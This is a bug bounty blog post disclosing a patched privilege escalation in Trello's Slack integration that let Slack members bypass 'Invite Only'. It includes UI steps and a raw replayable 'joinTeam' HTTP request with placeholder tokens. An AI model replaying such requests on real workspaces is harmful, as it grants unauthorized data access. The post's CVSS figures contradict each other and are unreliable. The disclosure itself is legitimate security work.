Bypassing Trello's Gates: How I Escalated Privileges via Slack Integration and Scored a $1,200 Bounty

By Deev/techycodec08
March 17, 2025

Introduction

Ah, the thrill of the hunt! As a bug bounty hunter who's spent countless late nights dissecting APIs, ' intercepting requests, and chasing down those elusive vulnerabilities, there's nothing quite like uncovering a flaw that lets you slip past security controls like a digital ghost.
Back in March 2025, while exploring the integrations between popular collaboration tools, I stumbled upon a juicy Privilege Escalation in Trello.

This wasn't just any minor glitch—it allowed any member of a linked Slack workspace to self-join a Trello workspace, even when the owner had explicitly disabled self-joins and set it to "Invite Only."

What made this find extra satisfying? It earned me a cool $1,200 bounty from Atlassian (Trello's parent company) through Bugcrowd, after some back-and-forth on severity.

The report was submitted on March 17, 2025, triaged quickly, bumped up to P3 priority, and finally resolved on June 10, 2025.
Now that it's disclosed, I'm excited to share the full, anonymized story—complete with technical deep dives, screenshots, and lessons learned.

If you're into bug bounties, cybersecurity, or just love seeing how interconnected apps can create unexpected attack vectors, buckle up. This one's a rollercoaster of access control fails, API wizardry, and real-world impact.

The Bug at a Glance

At its core, this was a Broken Access Control (BAC) vulnerability leading to privilege escalation, classified under the Vulnerability Rating Taxonomy (VRT) as BAC > Privilege Escalation.
The flaw? Trello's Slack integration didn't properly enforce the "Invite Only" setting for workspace joins.

Any user in the linked Slack workspace could bypass restrictions and add themselves to the Trello workspace, gaining full access to boards, cards, and sensitive data—without an invite or admin approval.

Imagine this: You're a Trello workspace owner managing confidential projects, client data, or team strategies. You link your Slack workspace for seamless collaboration, but you toggle "Invite Only" to keep things locked down. Yet, any Slack teammate—even a new hire or contractor—could sneak in via a simple button click or API call. No alarms, no notifications, just instant access. This isn't theoretical; I proved it with a proof-of-concept (PoC) that worked every time.

The bounty? $1,200, plus 10 points on Bugcrowd. Not the biggest payout I've seen, but the satisfaction of getting it resolved and preventing potential data breaches? Priceless.

The Setup: When Collaboration Tools Collide

Trello and Slack are powerhouse tools for teams— Trello for visual project management with boards and cards, Slack for real-time chat.

Their integration is a dream for productivity: Link your Slack workspace to Trello, and you can get notifications, create cards from messages, and more. But integrations like this are ripe for bugs because they bridge two ecosystems, each with its own auth models.

In Trello (requiring a Premium account for advanced workspace features), admins can control how Slack members join:

Self-Join: Anyone in the linked Slack workspace can hop in automatically.
Invite Only: Only admins can invite members; no self-service allowed.

Sounds secure, right? Wrong.
The "Invite Only" toggle was more of a suggestion than a hard rule. I spotted this while testing integrations on my own accounts.
As a hunter, I always start with legitimate features—link accounts, tweak settings, then poke for weaknesses. Burp Suite was my trusty sidekick for intercepting and replaying requests.

The Discovery Process: From Curiosity to PoC

This bug didn't reveal itself overnight; it was a methodical hunt. I began by setting up test environments: One Trello workspace (as the "victim" owner) and a Slack workspace linked to it.
Then, I created an "attacker" account in Slack—not yet in Trello—to simulate an unauthorized user.

Step 1: Linking Workspaces and Locking Down Access

Logged into my Trello Premium account, I navigated to Workspace Settings and integrated Slack. Easy peasy—authorize the app, and boom, the workspaces are connected.

Next, I flipped the join setting to "Invite Only." This should block self-joins, right?
Trello even warns: "Members of your Slack workspace can only join when invited by you or another admin."

I added my attacker account to the Slack workspace but kept it out of Trello. Game on.

Step 2: The Attacker's Perspective – Sneaking In via UI

Switching to the attacker: Log into Slack, add the Trello app if not already there. Head to the Apps section, and there's Trello, ready to go.

Dive into the Trello integration's "Messages" subsection. Slack prompts: "Want to join a workspace you're already linked with?" And there's a shiny "Join" button staring back.

Click it, and... success!
The attacker is now a full Trello workspace member, despite "Invite Only." No email, no approval—just instant escalation.

If the UI prompt didn't appear (it sometimes didn't on first try), a quick workaround:
Type "/trello login" in any Slack channel. This logs you into Trello via Slack and surfaces the join option for linked workspaces.

Step 3: Going Deeper with API – The Manual Bypass

For reliability (and to make my report airtight), I intercepted the join request with Burp Suite.
Here's the raw POST request that seals the deal:

POST /api/chat.attachmentAction?_x_id=fc861004-1742211576.857&_x_csid=wq8zj27AO3A&slack_route=T08JN1VL2NL&_x_version_ts=1742207255&_x_frontend_build_type=current&_x_desktop_ia=4&_x_gantry=true&fp=a3&_x_num_retries=0 HTTP/2
Host: <Personel_Slack_Account>
Cookie: <SLACK_COOKIE>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Length: 1577
Origin: https://app.slack.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Priority: u=0
Te: trailers

------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="token"

<SLACK_TRELLO_INTEGRATION_TOKEN>
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="payload"

{"actions":[{"id":"1","name":"joinTeam","text":"Join","type":"button","value":"{\"idTrelloTeam\":\"67bd3bb0a24f64da5ed76161\"}","style":""}],"attachment_id":"1","callback_id":"callback-joinTeam-ts:1742207561421","channel_id":"D08JNCJ1D08","message_ts":"1742207561.551579","prompt_app_install":false,"team_id":"T08JN1VL2NL"}
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="client_token"

web-1742211576856
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="service_id"

B08JN2FP49E
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="bot_user_id"

U08JN2FP7K2
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_reason"

user_attachment_action_dispatch
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_mode"

online
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_sonic"

true
------geckoformboundaryab7a35356138da9abc9fd861d93191b6
Content-Disposition: form-data; name="_x_app_name"

client
------geckoformboundaryab7a35356138da9abc9fd861d93191b6--

Key here: The payload field contains the "joinTeam" action with the Trello team ID. No auth checks beyond Slack membership. Replay this, and you're in.

I tested variations—different accounts, fresh workspaces—and it worked consistently. Why did I go the API route? To show it's not just a UI fluke; attackers could automate this for mass escalations.

The Impact: From Sneaky Joins to Data Nightmares

This bug wasn't harmless. Once in, the attacker gets full workspace access:

Data Exposure: Read all boards, cards, attachments. Think client contracts, API keys, or personal info.
Manipulation Risks: Add/edit/delete content, potentially disrupting projects or injecting malware.
Escalation Chains: Combine with other flaws (e.g., weak board permissions) for broader attacks, like phishing team members or exfiltrating data.
Business Fallout: In enterprises, this could lead to compliance violations (GDPR, HIPAA). Imagine a rogue employee or insider threat exploiting it for industrial espionage.

Attack scenario: A disgruntled Slack user joins covertly, downloads sensitive files, and vanishes.

No audit trail ties it back easily. In large orgs with shared Slack workspaces, this amplifies insider risks exponentially.

Assessing the Severity: My CVSS Breakdown

I initially pegged this at Medium, but Bugcrowd started at P4 (Low). After my reevaluation request with a detailed CVSS, it bumped to P3.

Here's my full CVSS v3.1 analysis:

Attack Vector (AV:N): Network – Remote exploit via web/Slack.
Attack Complexity (AC:L): Low – Simple steps, no special tools beyond Slack access.
Privileges Required (PR:L): Low – Just Slack membership.
User Interaction (UI:N): None – Attacker acts alone.
Scope (S:U): Unchanged – Impacts Trello workspace directly.
Confidentiality (C:N): None – But wait, I argued Low in my request due to data access.
Integrity (I:H): High – Unauthorized changes possible.
Availability (A:N): None.

Final Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5 (Medium)

This score reflects the ease and integrity impact, justifying P3 over P4.

Reporting and the Bounty Journey

Submitted to Bugcrowd on March 17, 2025, at 12:49:07 UTC. Included steps, screenshots, API PoC, business impact, and CVSS.
Triaged as P4 initially, but I pushed back with a detailed response request on March 21, and this is exactly what I wrote to the Trello team to convience them for P3, which worked!!!

Hi Trello Team,
Thank you for triaging my recent submission regarding the privilege escalation vulnerability in the Trello-Slack integration. While I appreciate the initial assessment of Low severity, I respectfully request a reevaluation of this issue. Due to its impact on unauthorized privilege escalation and potential exposure of sensitive workspace data, I believe it warrants at least a medium severity rating (P3). Below, I’ve outlined the key details and reasoning to support this request.
Business Impact
This vulnerability directly undermines the privilege controls designed to restrict access to Trello workspaces. When the "Invite Only" setting is enabled, workspace owners expect that only explicitly invited users can join. However, any member of the linked Slack workspace—regardless of their authorization—can bypass this restriction and gain full membership privileges. Once inside, the attacker has unrestricted access to all boards, data, and sensitive information within the workspace. This significantly increases the risk of data exposure, especially in environments where Trello is used to manage confidential projects or client information.

The intended security model is rendered ineffective, as the integration fails to enforce the owner’s access control preferences. This is a clear privilege escalation issue, as an unprivileged user (a Slack workspace member without Trello access) elevates themselves to a privileged role (Trello workspace member) without authorization.
CVSS v3.1 Score Calculation
To provide an objective measure of the severity, I’ve calculated a CVSS v3.1 score based on the impact and exploitability of this vulnerability:

Attack Vector (AV): Network (N) – The attack can be executed remotely via the Slack-Trello integration.

Attack Complexity (AC): Low (L) – The steps to exploit are straightforward and require no special conditions beyond Slack membership.

Privileges Required (PR): Low (L) – The attacker only needs to be a member of the Slack workspace, a relatively low bar in many organizations.

User Interaction (UI): None (N) – No interaction from the victim is required; the attacker can self-join independently.

Scope (S): Unchanged (U) – The impact is confined to the Trello workspace, though it affects all data within it.

Confidentiality (C): Low (L) – Unauthorized access to workspace data may expose sensitive information, though it depends on the workspace’s contents.

Integrity (I): Low (L) – The attacker could potentially modify data within boards, though this is secondary to access.

Availability (A): None (N) – No direct impact on availability.

Final Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N = 6.5 (Medium)
Why Medium Severity is Warranted
I strongly believe this issue deserves a Medium severity classification (P3) rather than Low for the following reasons:

Privilege Escalation Risk: The core of this vulnerability is the unauthorized elevation of privileges, a critical security concern that directly violates the access control model. This alone justifies a higher severity, as it bypasses explicit restrictions set by the workspace owner.

Broad Impact: Once the attacker joins the workspace, they gain access to all boards and data, amplifying the potential damage beyond a single resource or limited scope.

Ease of Exploitation: The exploit requires minimal effort and no advanced technical skills, making it accessible to a wide range of attackers within a Slack workspace.

Trust Violation: Organizations rely on the "Invite Only" setting to enforce trust boundaries, and this flaw erodes that confidence, potentially leading to unintended data leaks.

Conclusion
While I understand the initial Low severity rating may stem from a perception of limited scope or impact, I hope this detailed explanation and CVSS score clarify why this vulnerability poses a more significant risk. I’d be happy to provide additional details, test cases, or a demonstration if needed to assist in your reassessment. Thank you for your time and consideration—I look forward to your feedback.

Bugcrowd agreed, upping to P3 on March 24, awarding $1,200 and 10 points. Atlassian filed a ticket, and on June 10, marked it Resolved. I verified post-fix—no more sneaky joins!

Full report link (disclosed): Privilege Escalation Vulnerability - A Non-Workspace Member Can Self-Join other users Trello Workspace through Slack Integration

Lessons Learned: Sharpening the Hunter's Edge

This hunt reinforced key truths:

Integrations Are Weak Links: Third-party bridges often overlook edge cases. Always test auth flows across services.
Push for Reevaluation: Don't accept initial severity; back it with data like CVSS.
PoCs Matter: UI + API evidence made my case ironclad.
Ethics First: I stopped at PoC, no real harm done.
For Devs: Enforce backend checks on frontend toggles. Validate permissions at every step.

Fellow hunters: Scope integrations deeply—they're goldmines for BAC bugs.

Final Thoughts

Cracking this Trello-Slack privilege escalation was a blast, turning a simple integration into a bounty win. It highlights how even polished tools can falter at the seams, and why bug hunting keeps the web safer. Shoutout to Bugcrowd and Atlassian for the smooth process—here's to more finds!

HAPPY HUNTING!!!!!